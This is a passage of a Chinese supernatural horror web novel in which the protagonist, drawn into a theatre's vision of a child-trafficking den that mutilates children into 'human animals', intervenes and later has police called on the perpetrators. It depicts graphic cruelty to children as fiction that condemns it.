听到美人说谢叙白可能还有票,这群人眼里再度升起非同一般的狂热,大喜过望,朝谢叙白飞速靠近,探手抓过去。 “客人,客人,您下场点我的戏吧!” “客人别走,您看看我!” “客人——” 楼上的平安叫了一声,三双眼睛冷冷地看向这些工作人员,无形的威压犹如海啸般压下,所有意图接近的谢叙白的人一个踉跄,目露恐惧。 一些人脸色惨白,不敢再上。 等谢叙白来到第一排坐下,他们更像受到什么无法忤逆的限制,双腿卡在席位前,无法更进一步。 但还有人不死心,鬓发泛白,脸色憔悴脱相,声泪俱下地恳求,几乎给谢叙白跪下来:“客人,您看看我,求您点我的戏!我还有爸妈孩子在外面,我爸偏瘫残废,我孩子才几岁,留下我一个老母怎么活啊!我必须离开这个该死的鬼地方,求求您发发慈悲吧!” 谢叙白下意识看向他,那双布满血丝的眼睛里盛满泪水,痛苦至极。 也是这个时候,美人一步上台,铿镪顿挫的乐声响起,沉寂的台上忽然变得热闹起来。 他视线朝下,不动声色地瞄向谢叙白,眼底难以言说的情绪稍纵即逝。 红绸与华裳起舞,流光溢彩间,美人踏着节奏,张口就是一段千回百转的唱腔。 “那黄鼠狼披上羊皮,抹泪低泣叫人生怜,殊不知那皮肉之下是脏心黑肺,恶臭扑鼻,客官呐您可千万小心,莫被蒙了心,吃了肝,骨埋河底——” 谢叙白还在看那个苦苦哀求他的男人,男人直至最后一刻也伸着手,真挚悲声地叫嚷着:“求您……!” 下一秒,他的眼睛花了一下。 男人哭泣的脸忽然变得模糊起来,像蒙上一层粗糙的面纱,不再真切。 “这世间因果皆有定数,事不关己那就高高挂起,莫理会,徒惹一身腥——” 美人的唱腔声越来越远,越来越小。 谢叙白没来由地感觉到一阵困意,思维陷入不正常的僵滞,很像之前副本开启的先兆。 有经验的他并没有慌张,冷静地坐在原地,让意识随之脱离。 猝然,一道尖利的孩童哭叫声在他耳边炸响,重叠着未尽的唱腔和男人的哭求,又在瞬间压过所有的吵闹,非常凄厉。 男人:“您就点我的戏吧,我家里还有双亲,求求您了……” 孩童:“我不去,我不要去!求求您饶了我!不要!爸!妈!救救我,我要回家——!” 谢叙白涣散的瞳孔猛然恢复光彩。 他凝神,第一眼看见的还是那个男人,浓眉大眼的长相,脸圆乎乎的,颇有几分和善的富态。 可眼下,糊满脸的泪水消失了,男人眼睛一眯,眼底浮出一抹精明阴狠的冷意。 孩子哭叫闹腾,他直接扬起手,一巴掌扇了过来。 “畜生崽子!老子挑你去伺候是你的福气,还敢哭,还敢闹!” 谢叙白瞬间发现哭声是从自己的嘴巴里冒出来的,也发现男人的巴掌裹挟着呼呼风声,近在咫尺,没有犹豫,错步往旁边一闪。 男人的巴掌落了空,一瞬间有些错愕,大概是没想到谢叙白竟然有胆子躲开。 很快惊讶变成气急败坏,男人扑上来抓谢叙白,谁想到之前蠢笨的孩子突然开了窍,猫儿一般灵活,将他溜了好几圈,连袖子都没摸到。 男人比戏院胖上好几圈,看起来是个不常动弹的,很快气喘吁吁,冲着旁边五大三粗、打手装扮的人怒喝:“你们在那里看什么戏!给我抓住这小瘪三!” 谢叙白在躲避途中,就大概摸清了这里的情况。 眼下是一个破败的院子,后面的老房子墙皮脱落,木制窗户封着生锈的铁栅栏,房子门大开,地上挤挤挨挨坐着一群瘦脱相的孩子。 他们浑身脏兮兮,脸上都是泥土,脚踝套着锁链,尾端固定在墙上。 似乎注意到谢叙白闹出来的动静,几双怯生生的眸子看向他,写满麻木和空洞。 谢叙白心下微沉,转头环顾周遭。 这里的围墙似乎有多次加固加高,靠墙的树被刻意砍掉,留着光秃秃的木桩子,以孩子的视角来看,墙高得堪比三层楼,无法翻跃。 唯一的出路就是院子大门,但有数名虎背熊腰的壮汉把守在那,堵得严丝合缝。 谢叙白试着运转精神力,不出意外感受到了阻力。 但和以往受到的限制不同,这阻力竟是可以突破的,他的力量足以将其打破! 问题是,谢叙白有预感,如果他动用力量突破限制,下一秒这个不知道是幻境还是新开副本的地方,就会被他的力量损毁,就像固定规模的盒子会被不断加入的填充物挤爆。 他之前也遇到过类似的情况,江家祭坛小触手发怒,强大的威压差点碾碎整个副本。 瞄一眼那群孩子,谢叙白毫不犹豫地收回精神力,心想其他脱身的对策。一回生二回熟,看戏撞鬼也算在他的预期之内,是以狰狞面孔的打手几次和他擦肩而过,他还能保持冷静。 院子门口突然传来喧哗声,仿佛有人被簇拥着来看热闹,谢叙白扯眉看过去。 这院子是个拐卖孩子的贼窝,他估摸来人估计是男人的同伙。 谁想到出现的竟然是一个身穿华服的少年,约莫十二、三岁,唇红齿白,戴着毛茸茸的狐裘围脖,手里拿着套上羊绒的暖手铜壶,仪态举止有股说不出的贵气,一看就知道是家里人用心养出来的。 他懒洋洋地站在门口,所有人都没有阻拦,看谢叙白东躲西藏,男人在旁边骂骂咧咧直跳脚,仿佛被逗笑:“莫叔,我怎么不知道你还有耍猴的天赋?干脆下一场戏你亲自上,绝对叫好又叫座。” 谢叙白也不受控地看向那少年,只因这场戏开始前,他脑子里突然冒出的那个画面,里面惊恐看向河底的孩子,就长着和这少年如出一辙的脸! 谢叙白点美人的戏,那顺势而生的画面也应当和对方有关。尽管戴着面具看不见真容,体态举止也和挚友大相径庭,但他直觉美人就是乔装后的吕向财。 所以这个突然出现的少年,会是小时候的吕向财吗? 念头还未消失,少年似乎注意到谢叙白的目光,笑眯眯地看过来,口吻阴冷,像藏着尖刀:“你又何必跟这拎不清的东西怄气呢?” “我想到一个好点子,他跑多少步,等会儿捉住他,你就拿棍子在他腿上敲上多少下,腿骨打折打烂糊了,骨渣子刺进肉里挑不干净,才知道什么叫疼和怕。” 第133章 罪恶 少年声音稚嫩,但说出阴毒法子时理所当然的口吻,硬生生地抹去了这一抹稚气,像条五彩斑斓的毒蛇,只是笑着站在原地,便让人遍体生寒。 一番话虽是对着谢叙白说的,但震慑的却是其他人。几名打手像是突然想起什么,霎时间脸色微白,准备抓向谢叙白的手脚也慢了下来。 谢叙白一眼扫过去,正看见胖男人垮下脸皮,似乎忌惮地盯看着少年:“你来这里干什么?” 少年漫不经心地摸了摸暖炉,笑声带刺:“莫叔这话倒是奇怪了,我也没瞧见这院子标了你家的名儿啊,凭什么你来得,我就来不得?” 很明显这两人不对付,以至于他们两个光顾着唇枪舌战,忽略了一边的谢叙白。 谢叙白趁机喘口气,不动声色地环视四周,开始思考脱险的办法。 精神力受到限制,呼唤金丝眼镜和小触手没有得到回应,眼下他只能靠自己解决危机。 他来得突然,不知道胖男人拽住这副身体的小孩想要去干什么,但估摸不会是什么好事。 少年是个狠角色,说起要打断他的双腿时,眼睛都没有眨一下,又是个乐子人,热衷于拱火刺激胖男人。 院子里都是人,门口全是彪形大汉,凭他这副孱弱的身体,想要一个人突围,简直是天方夜谭。 ……留给谢叙白思考对策的时间,短到稍纵即逝。 他忽然垂下眼睫,身体一晃,装作体力不支地踉跄了几步。 下人们紧张兮兮,生怕被迁怒,注意力都集中在胖男人他们的身上。直至眼前一花,那个谁都没放在眼里的小子左绕右绕,竟然一举越过疏忽的打手,扑向傲然屹立的少年。 “大哥哥,你也是被抓来的吗?快跑呀!那个禽兽坏蛋根本就不是人!他吃小孩!” 这小孩怎么回事? 他难道没听见那位爷要打断他的腿吗?居然还敢凑过来往上扑? 逃跑直冲狼嘴里,这戏剧化的一幕瞬间看呆了众人,不解又震惊地盯着谢叙白,连少年假笑的脸上都闪过一抹怪异。 少年不喜欢被人触碰,更觉得这小孩有问题,当即后撤一步,垂眉冷冷地瞧过去,伸手要将谢叙白拽开。 谁想到却触及到一片滚烫的肌肤。 少年愣了一下,再看谢叙白的脸,两颊浮现出一抹不正常的酡红,嘴唇发青,瞳孔涣散失焦。 他的眼底划过一抹了然。 原来是烧糊涂了,才没听见话,错把年龄相差不大的他误认为好人。 这副身体生病自然有原因:一帮孩子不知道在荒凉的院子里被囚禁了多久,又是早秋寒凉的天,穿得破败且干瘦,浑身挤不出二两御寒的肉。 加上谢叙白刚才上蹿下跳躲打手,浑身冒了汗,风一吹透心凉,毫无悬念地中了招。 谢叙白的处境变得更加困难,但也给了他取信少年的机会,因为任何人,都不会把一个生病孱弱的小孩当成威胁。 果不其然,发现他发热的瞬间,少年看向他的目光中少了几分警觉。 谢叙白趁热打铁,扬起头,眼底有波光闪烁,溢出泪雾,沙哑急切的声音听得人无不动容:“真的,大哥哥你信我!他嘴巴又臭又腥,指甲老长,还总想摸我的身体,就是个披人皮的老妖怪!大哥哥你长得这么好看,再不跑也会被他吃掉的!话本里的丑妖怪专吃漂亮小孩!它们嫉妒!” 对家对峙就怕丢脸丢分落了下乘,谢叙白可好,直接把他的脸扒下来往泥里踩,还转过头变相地夸了吕九一把! 胖男人都快给气炸了! 可这番话让吕九很是受用,原本他对谢叙白只是看热闹的心态,如今立马多出两分赏识。 还是那句话,谁让他的死对头不痛快,那么他就非常痛快。 吕九对着胖男人笑出声:“莫叔,你看看人家小孩说的,多少倒腾倒腾自己吧!也就是兄弟们包容心强,这要是走出去,得让多少人看笑话?” “抓住他!我要撕碎他的嘴!抓不住我就撕烂你们的嘴!”胖男人羞愤至极,让打手们立马抓住谢叙白。 吕九扯住谢叙白往身后一丢,笑眯眯地说:“哎哎哎!莫叔!咱都多大岁数的人了,总不能因为小孩说了个大实话就恼羞成怒吧?” 他这么一刺激,更是火上浇油,打手在胖男人的频频勒令下硬着头皮上前,少年身边的护卫马上往前一步,横眉冷对,气势不逞多让。 场面再度乱了起来。 而谢叙白也趁机拐到吕九的身后,平静地瞄向对方的脖子。 可以得手。 谢叙白不失镇定地估量着。 少年虽说长得比他高,但终究也是一个孩子,高壮不到哪里去。 裴玉衡给他普及过人体要害的知识点。现在距离足够近,没人注意到他,如果此时出手,谢叙白有百分之八十的把握,能成功挟持少年做人质,再寻找机会逃脱。 可视线瞥向身后的刹那,谢叙白的心再次猛地一沉,不得不打消了这个想法。 顺着院子往前的道路四通八达,干净夯实。 从这个方位,竟然一眼望不到头,只能看见一座座白墙黑瓦的房子坐落在每一条道路上,挤挤挨挨,静得出奇。 或许是饭点,不少烟囱上飘着白色的炊烟,溢散而开,犹如朦胧的阴雾,将所有的房屋笼罩其中。 谢叙白心里发冷。 原本他以为这贼窝在荒郊野岭,无人问津,哪想到这里竟是一个不知规模的村镇。 端看炊烟升起的数量,居住的人绝对不算少。 可这囚禁小孩的院子大门敞开,重重把守大张旗鼓,完全不避人。 这说明什么?说明胖男人一伙有恃无恐,根本不怕被人知道这里的情况! 这村镇中会不会还有他们的同伙? 又或者整个镇子都是共犯? 不祥的预感宛若层层堆积的乌云,直坠心头。 谢叙白眉头微蹙,愈发感到棘手。 他能肯定,凭他现在的状态,绝无可能挟持少年平安地逃离这个镇子,更别提再找机会来救这些孩子。 也是这个时候,身后再次传来喧哗声,动静比少年来时还大。 一群人从街道拐角走出来,吕九的位置靠近院门口,打眼望过去,比胖男人更先看见来人,瞬间身体一僵。 谢叙白注意到少年捧着暖炉的手指瞬间绷紧了,掐捏炉口,指尖因用力而泛白,像是在忍耐着什么。 打手们的反应更能突出来者的不一般,原本和斗鸡似的瞪着眼,通通脸色大变,竟不顾胖男人和少年两位主子,慌张地朝两边退开,让出门口的通道。 来人畅通无阻地走进来,十多个壮汉紧随其后,将院子塞得满满当当。 为首是一个看上去四十出头的男人,头戴一顶瓜皮帽,两撇修得细长的小胡子,微微往上翘,眼窝凹陷显得狭小,鹰钩鼻下巴尖,眼睛一扫,流露出阴狠残忍的神采。 他只是站在院子中间,空气中就好似弥漫起一股叫人窒息的沉重感。 连牙尖嘴利的少年吕九都不再吭声,低垂着头摩挲暖炉,半边脸颊落在门檐的阴影里,让人看不分明。 但当他抬起头,还是笑意盈盈的模样。 胡子男环顾一圈,目光在谢叙白的身上微微停留。 谢叙白往少年身后一缩,抖了抖,似乎怕得不敢抬头。少年笑着说:“浮屠叔,这小子有趣,我想留在身边耍一耍,您最是疼我了,便答应我这个小小的请求罢。” 小胡子不置可否地嗯一声,挪开视线,定在胖男人的身上。 他没说话,胖男人却狠狠一个哆嗦,忙不迭地上前,赔起笑脸来:“浮屠哥,我知道您拿这些货有用,没想坏事,就只打算挑个手脚麻利点的小子回去伺候……” “伺候?”小胡子显然知道他是个什么尿性,冷笑一声,“明知道这些货有大用,你还跑到这儿来挑人伺候,身边的人都死光了不成!还是我聂浮屠平日亏待你了,让你买个丫头小子的钱都挤不出来?” 谢叙白听出他们话中深意,忍不住皱了皱眉头,冷冷地看向胖男人。 这人居然想抓这副身体的主人去做那种事,简直恶心得令人发指。难怪周围这些人在听到他说胖男人想摸他的时候,没有表现出一点意外。 胖男人登时如丧考妣,哭艾艾地告饶:“不是,您听我解释,我就是一时昏了头……” “闭嘴,给老子滚一边去,过后再收拾你。” 小胡子不再理会血色尽失的胖男人,挥手叫人:“戏园子那边意外损失一头人熊,需得再造一头补上,去,挑个结实点的出来。” 一名壮汉闻声走出,双手一抻,将抱着的毯子状物什甩开。 谢叙白定神看过去,意识到不妙,手指微颤。 那东西,一面覆盖厚实杂乱的棕色毛发,一绺绺地打结,散发浓郁的血腥味。一面鲜红光秃,残留着碎肉和没撕干净的筋膜,赫然就是一张剥下来的熊皮! 没听错的话,胡子男刚才说,损失了一头……人熊? 第134章 “乐乐,报警。”…… 古时有一残忍技艺,谓之造畜。指人贩子拐卖小孩,再用丧心病狂的手段将人活生生变成畜牲,发卖戏园子,对外宣称动物会写字、歌舞、口吐人言,以此博人眼球,骗取他人的钱财。 这事最早见于蒲松龄的《聊斋志异》,其民间佚名杂记亦有记载: 【……拐者投美饵绐孩童食之,使其神魂颠惘,相从而去。行于无人处,割其舌,致其不能言,以沸水滚油烂其肤,贴以牲畜之皮毛鳞片,待血肉长合,则人畜成。 时逢戏目开场,拐者笑,人畜叫,众宾欢,亲者哭。】 谢叙白能很快反应过来,是因为他大学时偶然看到过一篇类似的报道,底下就有评论为大家科普什么是造畜和采生折割。 事件发生在民国时期,犯罪者被抓捕枪毙,但这桩惨无人道的命案在当时引起的民众反应和影响极大,时至今日也未能消除。 下一秒,谢叙白便顾不上继续回忆。 一名壮汉拿出熊皮,又走出两人起锅烧水,还有一人循着步子,凶神恶煞地走向关押孩童的屋子,不顾孩子的哭叫,打开锁,蛮横地将其中一人拖拽而出。 “空洞麻木”的孩子活了,瞪大眼盯着伸过来的手掌,蓦然大喊起来,疯狂挣扎。 嘶哑的哭喊声瞬间传遍整个院子,孩子的膝盖胳膊摔在地上,磕出青紫的印。 他叫着爹爹娘亲,又或是害怕到胡言乱语,叫着什么叔,什么婶儿,把生平认识的人都叫了个遍。 可没人应。 所有人都只是看着,冷漠的、无声的、习以为常。 小胡子摸了摸两撇胡须,像菜市场丈量猪肉一样将小孩上下一扫,又转过头质问院子的人:“怎么照顾的?瘦成这样!” 那并非良心未泯,只因小胡子摇了摇头,下一刻就不悦地说:“一个怕活不成,再拉几个出来。” 便有打手再去抓人。 锅下的柴炭在烈火中起烟,没多久,水烧好了,咕噜噜冒着白色的水汽。 最先被挑出来的孩子被死死地摁在锅前,眼里爆出恐惧的泪水,疯狂摇头:“别!放过我!求求你们!娘救救我——” 打手提起沸水,将要倾倒,突然一道厉喝自门口炸响:“住手!” 人群哗然! “九少爷!” 所有目光齐刷刷聚集在声源处,还是谢叙白,还是那个让他们意想不到的小孩。 只见小孩单臂往前,环压在少年吕九的胸口,另一只手呈鹰爪状,死死地按在对方的咽喉。竟是当着这么多人的面,直接挟持了吕九! 那张沾有泥灰的小脸,眼神锐利似剑,哪还有刚才的怯弱糊涂?直勾勾地盯着小胡子,像是与他对峙。 吕九始料未及,抓着谢叙白的手臂就想挣脱。 可小孩臂力出奇的大,下手果决不留一丝余地,两秒不到,他开始缺氧蹬腿儿,将目光扭向身侧:“你,你……!” 谢叙白平静的眼神与他擦过,直叫惊怒的吕九猝然一顿。 下一秒,小孩毫无波澜的声音在吕九的耳畔响起:“再说一遍,我让你们都住手。” 以狠制狠相当有效,又或者谁也没想到一个屁大的孩子不仅懂得伪装,还有杀伐果断以慑众人的气势。 眼看吕九白眼直翻,快厥过去了,小胡子连忙打了个手势,让准备摸过去的打手都停下。 小胡子一时没有开口,用一种叫人发怵的目光,细细地审视谢叙白,然后才状似和颜悦色地问:“好孩子,你想要什么?说出你的要求。” 华美昂贵的狐裘衣裳,细心培养的仪态举止,娇惯出的狠辣性子和向小胡子要人时的大大方方。 虽不知道少年和这伙人的关系,但从以上几点,谢叙白判断对方在这伙人里的地位应该不低。 他斟酌言语,开口直言:“给我准备一辆车,我要把这群孩子带走。” 几名孩子闻言,含泪的眼睛都亮了,却听小胡子忽然大笑一声,像他说出什么惹人发笑的滑稽事:“不成不成,你要把他们全带走,那我不就亏了吗?这买卖做不成。” 一般谈判进行到这里,讨价还价少不了,总归是有拉扯的余地。 但怀里的吕九突然不再挣扎。 谢叙白心觉有异,低头瞥去,见少年半睁着眼,似乎还有一丁点清醒的意识,冲着他一张一合,做了个口型。 ——傻子。 那张泛白的嘴唇微微哆嗦着,隐约像是扬起了一抹苦笑。 谢叙白盯着吕九冷淡无神的眼睛,不祥的预感轰然爆发,抬起头,正看见刚才还准备和他有商有量的小胡子,笑着冲壮汉们抬起手:“行了,别耽误事儿了,继续。” 壮汉手里端着烧沸的水,手持鲜血滴答的熊皮,还能继续什么?谢叙白的瞳孔急剧扩大,厉声喊道:“你不要他的命了?” 小胡子捋捋胡须,神情带着一股令人琢磨不透的恶寒,笑得毫无所谓:“小孩,你杀过人没有?” 谢叙白心脏狠狠一咯噔。 如同一盆凉水兜头淋下,他骤然反应过来,为什么小胡子会态度大变,为什么少年会无声讽刺他是个傻子。 只因他刚才提出的条件:带这群孩子走。 站在谢叙白的角度,就算他能够顺利地独自逃出去,再找人回来救援也需要大量的时间。 如果不能一并把孩子们都带走,那么毫无疑问,在他逃脱之后,这些丧心病狂的歹徒依旧会选择对孩子下毒手。 这种酷刑非死即残,一旦造成伤害便是一条人命,一个人终身的阴影,一个家庭的彻底破灭,无法亡羊补牢,没有迂回弥补的余地。 谢叙白赌不起,没有别的选择。 但眼前的小胡子和谢叙白以往遇见的坏人都不一样,他坏得更彻底,毫无良知,狡诈残忍,城府极深,在谢叙白开口之际,一眼就看出他的善良与怜悯。 既然放不下这群孩子,就遑论杀掉吕九,破釜沉舟。 小胡子笑着看向谢叙白:“你很聪明,聪明得让我都起了爱才之心。要不是这一单做完后我就准备金盆洗手,或许还乐意收个徒弟。” “可惜了。” 三个字一经出口,仿佛重锤自高空落下,滚滚沸水从锅中倾泻。 吕九被一股大力丢出去,捂着喉咙呛咳起来,鬼使神差地推开跑上来搀扶他的打手。 “都让开!” 看到谢叙白丢开他之后全力冲向小孩的位置,他似乎既仓惶又震惊,下意识大喊。 “笨蛋,你回来!你找死吗?!” 来不及了。 当看见沸水从小孩身前倒下去的刹那,谢叙白就知道,时间太短,即使他跑断双腿,也赶不及去阻止。 他只是大脑一空。 打手团团围聚,要将他拿下,谢叙白顾不上去看,顾不上去理,反应过来的时候,已经迈开双腿飞跃出去,竭力伸出一只手。 时间仿佛被拉得无限长,小胡子等人的表情迟滞缓慢。 小孩抬起头,茫然绝望的眼神透过谢叙白张大的指缝,似万箭齐射,扎入他的眼底。 ——再给我一点时间,一点就好。 ——不要,不要,不要! 沸水将要接触到小孩的刹那间,谢叙白终于没忍住动用精神力。 璀璨金光自他的掌心射出,似流星划过,笼罩在小孩的头顶。 下一秒,因为他动用精神力,整个空间在力量的冲击下开始剧烈晃动,摇摇欲坠,响起紊乱的滋啦电流声。 院子里,小胡子一伙人、无助的孩童、老破房子,谢叙白所能看见的一切景象,如同破碎的电视剧屏幕,一块块淅淅沥沥地往下掉,露出背后的大红色幕布。 唱曲婉转动人,戏台锣鼓喧嚣。 谢叙白再度对上一群涂满油彩的脸,涂着口红的唇角翘得老高,手持月琴铜锣鼓,冲着他怪异兴奋地微笑。 那是戏剧开场前上台奏乐的伴奏班子,位置一动不动。 原来由始至终,他都留在红阴剧院的座位上,看戏。 但那真的只是一场戏吗? 谢叙白胸口起伏不定,攥紧手指,坐起身,看向台上。 原本只有美人一人的戏台,不知什么时候起,浩浩汤汤地挤上去一大堆人,包括之前找谢叙白求饶的胖男人。 谢叙白突然发现了什么,目光骤然一颤。 胖男人的穿着变了,不再是剧院服务生的打扮,内穿白袄小褂,下穿锦袍罩大褂,黑色棉绒裤,分明是还在那破败院子里时的扮相。 再看胖男人的四周,站着一帮脸色惨白的剧院服务生,可当他们披上白褂黑袍的跑马装,赫然就是那群助纣为虐的打手! 所有人的面容都清晰起来——除去孩子们和小胡子不在,其他人基本都在场,数量也差不多对得上。 只有被称为“九少爷”的少年不同,安静无言地背对着谢叙白,身穿红色华服,隔绝旁人,形单影只,像是要与剧院的大红幕布融为一体,看不见神情和脸,还是少年人的身量。 难道刚才都是幻象,是这群人临时上台,演了一出能让看客身临其境的戏? 不对。 谢叙白紧盯着胖男人的脸,发现对方异常紧张,嚅嗫嘴唇,额头都在冒虚汗。 似乎被谢叙白盯得心虚,胖男人几乎腿一软瘫在地上,终于忍不住尖声质问:“吕九你个驴见驴踹的傻缺货色,你怎么——怎么敢让他看这场戏!!” 虚构的戏剧,有什么不敢让人看的? 除非这戏并非虚构,是会暴露自己曾经的罪恶,实实在在发生过的事。 谢叙白撑着座椅站起来,耳畔爆出蜂鸣,嗡嗡响个不停。 他没有在台上看见那群孩子……在原本的真实事件的轨迹里,他们会是什么样的下场? 也是这时,谢叙白的精神力余晖散在半空,仿若捕捉到什么,杂乱的声音自脑海中响起,混作一团。 他隐约听见有人在发出惨叫,很多人,很多声,男女老少,声嘶力竭,死不瞑目。 “杀死他们……!”“杀了他们!”“好痛好痛,啊啊啊啊——”“要他们偿命!” 谢叙白急剧地喘出一口气,几乎要站不稳,忽然一只手将他扶住。 谢叙白猛然转过头,正对上一副半遮面具。面具下,一双狭长的桃花眼安静地凝视着他。 诸多情绪似潮水涌出,又在刹那随风散去。 美人轻笑着,谁也不知他喉头一滚,艰难咽下了舌尖弥漫开的苦涩滋味,笑声悦耳动人,缓缓唱道:“恶徒呀,你做的事该吃千万刀——” 这场戏还未停。 “谓世间因果循环,报应不爽,安能容忍恶人逍遥,枉死者悲泣?” 锣鼓敲响,阵仗翻天,戏台头顶的聚光灯忽地照在谢叙白两人身上,好不热闹。 美人后退一步,立于昏黑的阴影,继续对只身屹立光中的谢叙白抚掌笑唱:“客官呐,今日您为最上座,且评一评——” “是判他坠入十八层地狱,永不能超生?” “是折他四肢百骸,挫骨扬灰,以告亡者灵?” 胖男人忽然反应过来,失措大叫:“不行,不能让他评戏!” “快阻止他!!” 可就像他们没法靠近谢叙白的座位一样,在谢叙白评判这场戏该是什么样的结局之前,他们无法离开戏台半步。 事到如今,看客的权利也终于明了。 看戏可入戏,评戏可定戏中人的结局。 如果戏放得好,只对外呈现自己的苦难不易,未尝没有看客心生不忍,为其更改结局。 但胖男人他们万万没有想到,吕九非但没有抓住这次更改命运的机会,还大手一掀开,撕碎所有人的遮羞布,拼着同归于尽,也要拉他们一起入地狱! 戏里戏外,形势翻转。 原本是变成小孩的谢叙白受制于人,性命不保。眼下变成自知阻止不能的胖男人一伙,在戏台上痛哭流涕,跪求谢叙白高抬贵手,饶他们一命。 无数道目光汇聚在谢叙白身上,期许狂热,畏惧恐慌。 万众瞩目之际,谢叙白终于动了。 却是抬起沉静的眼眸,扭过头,朝着二楼的谢凯乐说:“乐乐,报警。”?? 第135章 他害怕在谢叙白眼里看…… 此话一出,肉眼可见台上的工作人员都懵了一下。 诡异世界没有执法部门,有关法律的规则在二十多年前被系统全部抹除。诡怪因污染觉醒,常理认知出现不同程度的扭曲,脑子里自然不会有报警的概念。 所以他们第一时间不是慌张,而是不解,面面相觑,压低声音狐疑地问: “什么报警?” “没听说过。” “听上去像是要叫人。” “莫二当家,现在该怎么办?” 能怎么办?凉拌! 胖男人一干人等被限制在戏台上,挣脱不得,也做不了手脚,只能冲着谢叙白干瞪眼。 谢凯乐向来对谢叙白的吩咐无理由听从,没有追问原因,直接一通电话拨到执法大队,三言两语简述完现场的情况。 五分钟不到,众人听见剧院外传来嘹亮贯耳的警笛声。 那声音隐约唤醒不妙的记忆,台上众人没来由一慌,顺着窗户看出去。 宽敞的空地上不知何时停满车辆,红蓝灯光闪烁不断,交相辉映。车上陆续有执法人员下来,行动有素,分分钟就将整个剧院围堵得水泄不通。 又听一声嘭的巨响,严丝合缝的大门被破门锤砸开。大门哐啷一下狠狠拍在墙上,荷枪实弹的执法人员出现在门口。 整个剧院陷入死一般的沉寂,所有人面露惊恐。 这群执法人员,无论如何也看不清长相,只因那制服下的不是血肉之躯,而是一道道模糊的阴影,脸上没有五官,却能感受到从黑暗中射出数道锐利冰冷的视线。 他们不是活人,和剧院里的工作人员一样,属于诡异生物。 一般诡怪只能带来濒临死亡的恐惧,但他们身上传出一股庄严凛冽的压迫感,像被漆黑的枪口对准脑袋,也像铜墙铁壁。 伴随这群人的到来,强悍的外界力量开始侵蚀这个空间,被蒙蔽的认知倾泻而出,似洪水,冲得胖男人等人头晕眼花,脸色煞白。 他们想起来了,脱口叫道:“草**,他们居然把条子给叫来了!” 执法人员端枪站在门口,没动,像是在等待某人的指令。 他们无声面朝的方向,站着谢叙白。 谢叙白未动,平静地凝视吕九,又分出注意力,去仔细聆听残存在剧院各处的哭嚎和惨叫。 精神力的大幅度提升,让他可以轻易地将自己的思维分成很多份,每一份都能独立地思考,甚至相互交谈,目前相处还算和谐。 谢叙白不知他这种情况算不算精分,又或者是力量提升的后遗症。等世界恢复正常,他打算去隔壁医院挂个专家号。 吕九显然没料到谢叙白会报警,以至于呆愣了好一会儿。 执法人员破门时,他猛然回神,扫过那些没有面孔的阴影,和谢叙白对视,耳畔似有若无地响起一段对话。 先是吕九自己的声音,或者说未经伪装的原声,带着点懒散和放松,牙酸地吐槽:“你这次又捡回来了些什么玩意,诡魂?嚯,这么多,你该不会把整个乱葬岗都挖过来了吧?……怎么瞧着傻兮兮的,难道说魂魄不全。” “不是,我找人检查过,三魂七魄都在,算是不幸中的万幸。”另一道声音响起。 这些诡魂的出现,还得追溯到二十年多前,法律被系统恶意抹除,执法机构内部人员的存在也将随之消失。 但谢叙白出手够快,先一步将他们的魂魄都留了下来。 谢叙白道:“我尝试过一些唤醒神志的办法,但没有效果。直至前不久,警局、防暴安全部门等执法机构竣工,向大众宣传法律的概念,他们才开始对外界产生轻微的反应。” 吕九一时间没有说话,大抵是惊讶。 谢叙白写出来的法律他看过,修改过很多遍,有多个版本。 据谢叙白说,最初的版本由他全篇默写,但因为他不是法律专业的学生,也没有从事相关领域,背起来很艰难,磕磕绊绊。 幸好,部分普通人还保留着原本的认知。 或许在系统看来,普通NPC渺小如蝼蚁,多到踩死一堆还有一堆,不值得费神修改人物模版,谢叙白得以找到专业人士,弥补条例上的缺漏。 然后就是修改。 文明只建立在不愁温饱的土地,黑暗森林里也只有猎人才会提倡真善美,期待所有的猎物都能像羔羊一样保持着天真和纯良。 人类的法律,不适用于诡异世界。 谢叙白找多个业内专家共同探讨,十几天下来不间断地开会决议,废寝忘食,呕心沥血,只为找出一个人类和诡怪和谐共处的平衡点。 于是新的条例被不断完善,废弃的文档打印出来,能堆满会议室的办公桌,似乎在逐渐成熟,逐渐可靠。 可在吕九看来,那依旧是个只存在于童话书的愿景。 在深渊中建立秩序,在杀戮中相信良善,听着滑稽又没有道理,就像奢望鬣狗会忤逆嗜血的天性,和兔子在一起。 难以相信,谢叙白还是做出了这种不可思议的尝试。 如果谢叙白是个没走出过象牙塔的天真浪漫小公主,一个只会随波逐流高歌世界大同的复读机,吕九大概会扬起一个嘲弄的微笑,表面配合地鼓鼓掌,夸两句真不容易。 但谢叙白不是。 最关键的是,对方即将成功。 吕九的心有点乱,脑海浮现出诸多深恶痛绝的过往。 人会被环境异化,会绝望,会退缩,他始终这样认为。 但抬头,又能看见谢叙白平静的眼神。 这种平静不是情感的单薄,是坚定不移。 那一瞬间,吕九从未如此清楚地意识到谢叙白和很多人的差距,这个很多人里,包括他自己。 吕九不知道用什么情绪再度开口,吐字的时候带着轻微的颤抖:“……你接下来准备怎么做?” “如果推行【法律】能唤醒他们的意识,我准备在接下来的时间里加大宣传力度,继续扩大这方面的影响。” 新建立的执法机构,招人还需要筛选、紧急培训,至少要耗费几个月的时间。 如果这些诡魂能够清醒,没有比他们更适合担任执法工作的人选。 “生物通过感知、思考、理解、记忆等心理过程来获取对外界事物的认知,是以想要矫正被扭曲的认知,需要先从感知入手。” 谢叙白的嗓音很有辨识性,不止是语气上的温文平和,还有一股不容撼动的性质。 “法律原本就是落在实处的东西。”谢叙白说,“与其一味宣传纸面上的条例,不如让他们亲眼目睹,亲耳所闻,亲身经历。” 细论起来,好像就是在这一场对话结束后,吕九发现自己开始变得心不在焉。 以前他时时刻刻渴望谢叙白能快点变强,拳打董事会,脚踢宴暴君,把盛天集团一网打尽,带他脱离苦海,重获自由,最近却有意无意地回避这方面的话题。 甚至在谢叙白明确提出想要帮他的时候,下意识拒绝。 他在害怕什么呢? 吕九不明白。 直至有天晚上,静得出奇,窗外树影婆娑,瘦长的枝干摊开五指,像无声的邀请。 吕九感受到规则的松动,惊喜又莫名,最终抵抗不了诱惑,抬起腿,快步冲出盛天集团的大门。 柏油路面很宽阔,月明星稀,风在呼啸,自由看起来那么近。 他出神地加快脚步,鬼迷心窍似的,顺手解开西装领口发紧的扣子,嘴角高高地扬起,一步迈出门岗。 结果一抬头,没有看见宽阔的街道,而是一扇紧紧闭合的檀窗,风从缝隙中灌进来,吹得单薄的戏服摇晃,窄小的化妆房里泛着阴凉。 窗外,深夜的古镇反而热闹,不知道是人是鬼的东西在远处发出嬉笑,一团团橘红色的灯火簇拥在一起,像乍放的烟火。 